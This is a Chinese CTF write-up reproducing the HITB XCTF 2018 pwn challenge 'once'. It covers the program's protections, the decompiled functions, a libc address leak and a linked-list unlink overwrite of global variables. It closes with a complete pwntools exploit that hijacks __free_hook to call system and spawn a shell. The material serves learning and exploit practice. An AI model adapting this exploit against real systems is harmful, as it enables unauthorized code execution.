hitb_xtf_2018_once复现
2018-04-17 本文已影响31人
pu1p
0x00 背景
由于忙于实验, 并没有打这场比赛. 不过之前A1Lin大佬分享了这道题目. 所以这儿就记录一下复现这道题的过程
0x01 程序分析
保护情况
checksec看一下:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
保护全开.
函数分析
主函数:
void __fastcall main(__int64 a1, char **a2, char **a3)
{
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 v4; // [rsp+28h] [rbp-8h]
__int64 savedregs; // [rsp+30h] [rbp+0h]
v4 = __readfsqword(0x28u);
sub_55D04D884D10();
while ( 1 )
{
func0();
read(0, &buf, 8uLL);
atoi(&buf);
switch ( (unsigned int)&savedregs )
{
case 1u:
func_1();
break;
case 2u:
func2();
break;
case 3u:
func3();
break;
case 4u:
func4();
break;
case 5u:
puts("See you next time.");
exit(0);
return;
default:
puts("Invalid choice");
printf("%p", &IO_puts);
break;
}
}
}
可以通过无效的输入得到libc的地址
func1:
__int64 ptr()
{
st *v0; // rax
st *prev_g_ptr; // ST10_8
v0 = (st *)malloc(0x20uLL);
v0->bk = 0LL;
v0->fd = 0LL;
prev_g_ptr = g_ptr_0;
g_ptr_0 = v0;
v0->bk = &g_val2;
v0->fd = prev_g_ptr;
prev_g_ptr->bk = v0;
puts("suceess.");
return 0LL;
}
v0 是一个结构体指针. ida中使用结构体可以参考这个博客
其结构如下:
struct st{
void *a;
void *b;
st *bk;
st *fd;
}
类似双向链表. g_ptr_0
初始值为&g_val_2
.
func2:
int func2()
{
if ( HIDWORD(g_flag2) == 1 )
return -1;
get_str(g_ptr_0, 0x20u);
HIDWORD(g_flag2) = 1;
return puts("success.");
}
func 3:
int func3()
{
if ( (_DWORD)g_flag2 == 1 )
return -1;
g_ptr_0 = (st *)g_ptr_0->fd;
g_ptr_0->bk = &g_val2;
LODWORD(g_flag2) = 1;
return puts("success.");
}
func4:
__int64 func4()
{
int choice; // eax
char buf; // [rsp+10h] [rbp-20h]
unsigned __int64 canary; // [rsp+28h] [rbp-8h]
canary = __readfsqword(0x28u);
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
func0();
read(0, &buf, 8uLL);
choice = atoi(&buf);
if ( choice != 2 )
break;
if ( g_flag3 )
return 0LL;
get_str(g_ptr, size);
g_flag3 = 1;
}
if ( choice > 2 )
break;
if ( choice != 1 )
goto default;
if ( g_flag4 )
return 0LL;
puts("input size:");
read(0, &buf, 8uLL);
LODWORD(size) = atoi(&buf);
if ( (unsigned int)size <= 0xC7 || (unsigned int)size > 0x1F40 )
return 0LL;
g_ptr = malloc((unsigned int)size);
if ( !g_ptr )
exit(0);
g_flag4 = 1;
}
if ( choice != 3 )
break;
if ( g_flag5 )
return 0LL;
free(g_ptr);
g_ptr = 0LL;
g_flag5 = 1;
}
if ( choice == 4 )
return 0LL;
default:
puts("error.");
}
}
主要的限制就是很多功能只能调用一次
全局变量之间的位置关系:
.data:000055D04DA86020 g_val2 dq 0 ; DATA XREF: func_1+67↑o
.data:000055D04DA86020 ; func3+47↑o
.data:000055D04DA86028 dq 0
.data:000055D04DA86030 dq offset g_val2
.data:000055D04DA86038 ; st *g_ptr_0
.data:000055D04DA86038 g_ptr_0 dq offset g_val2 ; DATA XREF: func_1+4D↑r
.data:000055D04DA86038 ; func_1+5C↑w ...
.data:000055D04DA86038 _data ends
.data:000055D04DA86038
.bss:000055D04DA86040 ; ===========================================================================
.bss:000055D04DA86040
.bss:000055D04DA86040 ; Segment type: Uninitialized
.bss:000055D04DA86040 ; Segment permissions: Read/Write
.bss:000055D04DA86040 _bss segment para public 'BSS' use64
.bss:000055D04DA86040 assume cs:_bss
.bss:000055D04DA86040 ;org 55D04DA86040h
.bss:000055D04DA86040 assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
.bss:000055D04DA86040 public __bss_start
.bss:000055D04DA86040 ; FILE *_bss_start
.bss:000055D04DA86040 __bss_start dq ? ; DATA XREF: sub_55D04D884990↑o
.bss:000055D04DA86040 ; sub_55D04D884A60:loc_55D04D8849D0↑o ...
.bss:000055D04DA86040 ; Alternative name is '_edata'
.bss:000055D04DA86040 ; stdout
.bss:000055D04DA86040 ; _edata
.bss:000055D04DA86040 ; Copy of shared data
.bss:000055D04DA86048 dq ?
.bss:000055D04DA86050 public stdin
.bss:000055D04DA86050 ; FILE *stdin
.bss:000055D04DA86050 stdin dq ? ; DATA XREF: sub_55D04D884D10+17↑r
.bss:000055D04DA86050 ; Copy of shared data
.bss:000055D04DA86058 qword_55D04DA86058 dq ? ; DATA XREF: sub_55D04D884A20↑r
.bss:000055D04DA86058 ; sub_55D04D884A20+29↑w
.bss:000055D04DA86060 g_flag2 dq ? ; DATA XREF: func3+17↑r
.bss:000055D04DA86060 ; func3+52↑w ...
.bss:000055D04DA86068 ; void *g_ptr
.bss:000055D04DA86068 g_ptr dq ? ; DATA XREF: func4+F4↑w
.bss:000055D04DA86068 ; func4+FB↑r ...
.bss:000055D04DA86070 g_flag5 dd ? ; DATA XREF: func4:loc_55D04D884EE6↑r
.bss:000055D04DA86070 ; func4+17C↑w
.bss:000055D04DA86074 ; size_t size
.bss:000055D04DA86074 size dd ? ; DATA XREF: func4+BA↑w
.bss:000055D04DA86074 ; func4+C0↑r ...
.bss:000055D04DA86078 g_flag4 dd ? ; DATA XREF: func4:loc_55D04D884E0D↑r
.bss:000055D04DA86078 ; func4:loc_55D04D884EA6↑w
.bss:000055D04DA8607C g_flag3 dd ? ; DATA XREF: func4:loc_55D04D884EB2↑r
.bss:000055D04DA8607C ; func4+145↑w
.bss:000055D04DA8607C _bss ends
.bss:000055D04DA8607C
0x02 漏洞分析
这题的利用思路十分精巧.
通过func_2()我们可以修改g_ptr_0
指向的结构体体的内容. 从而结合func_3()我们可以将任何地方的值修改为 &g_val2
, 那么如果我们将g_ptr
的值修改为&g_val_2
的话,我们岂不是就可以通过func_4()将后面的所有全局变量都给覆盖了. 我们可以根据已有的libc地址获得free_hook, system 和 "/bin/sh"的地址. 从而调用 system("/bin/sh").
0x03 破解脚本
from pwn import *
io = process('./once')
elf = ELF('./once')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
#leak_libc base
io.sendline('0')
io.recvuntil('choice\n')
puts_base = io.recvuntil('>', drop = True)
puts_base = int(puts_base, 16)
libc_base = puts_base - 456336
libc.address = libc_base
_bss_start = libc_base + 3497872 + 456336
std_in = libc_base + 3494480 + 456336
system = libc.symbols['system']
free_hook = libc.symbols['__free_hook']
#local libc's offset, not the offered libc
bash = libc_base + 0x18cd57
wait = 0.3
#init size
io.sendline('4')
sleep(wait)
io.sendline('1')
sleep(wait)
io.sendline('256')
sleep(wait)
io.sendline('4')
print('libc_base: ', hex(libc_base))
print('_bss_start: ', hex(_bss_start))
print('stdin: ', hex(std_in))
#unlink
io.sendline('1')
sleep(wait)
io.sendline('2')
sleep(wait)
io.send('a'*0x18 + '\x58')
sleep(wait)
io.sendline('3')
sleep(wait)
print('free_hook: ', hex(free_hook))
payload_1 = 'a'*0x18 + p64(free_hook + 0x30) + p64(_bss_start) + p64(0) + p64(std_in) + \
p64(0) + p64(0) + p64(free_hook) + p32(0) + p32(0x100) + p64(0)
payload = 'a'*0x18 + p64(free_hook) + p64(_bss_start) + p64(0) + p64(std_in) + \
p64(0) + p64(0) + p64(bash) + p32(0) + p32(0x100) + p64(0)
io.sendline('4')
sleep(wait)
io.sendline('2')
sleep(wait)
io.sendline(payload)
sleep(wait)
io.sendline('4')
sleep(wait)
io.recv()
sleep(wait)
io.sendline('2')
sleep(wait)
io.send(p64(system))
sleep(wait)
io.sendline('4')
sleep(wait)
io.sendline('3')
sleep(wait)
io.interactive()
脚本写的很丑.......懒得改了.............